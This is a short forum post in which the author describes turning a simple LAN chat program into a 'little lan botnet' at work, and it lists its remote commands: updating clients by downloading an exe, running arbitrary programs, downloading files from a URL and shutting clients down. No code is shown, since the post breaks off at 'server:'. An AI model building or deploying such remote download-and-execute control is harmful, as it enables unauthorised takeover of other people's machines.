I wanted to post this in the example forum but apparently did not have permissions to..

This is my modification to Javascript_Freak's Simple Lan Chat code

I've made it into a little lan botnet.... just for kicks on a slow Friday afternoon at work...

clients can update on command by downloading exe off of a website (edit for your use...)

following commands are accepted:

<version> - lists client's version

<update> - update clients

<die> - close all clients

hello - all clients will repond

<run>c:\app.exe - runs program specified after the <run> (no space between <run> and path/exe)

<exec>c:\app.exe - same as run except uses ShellExecute

<download>http://google.ca/blah.exe - download file

server:
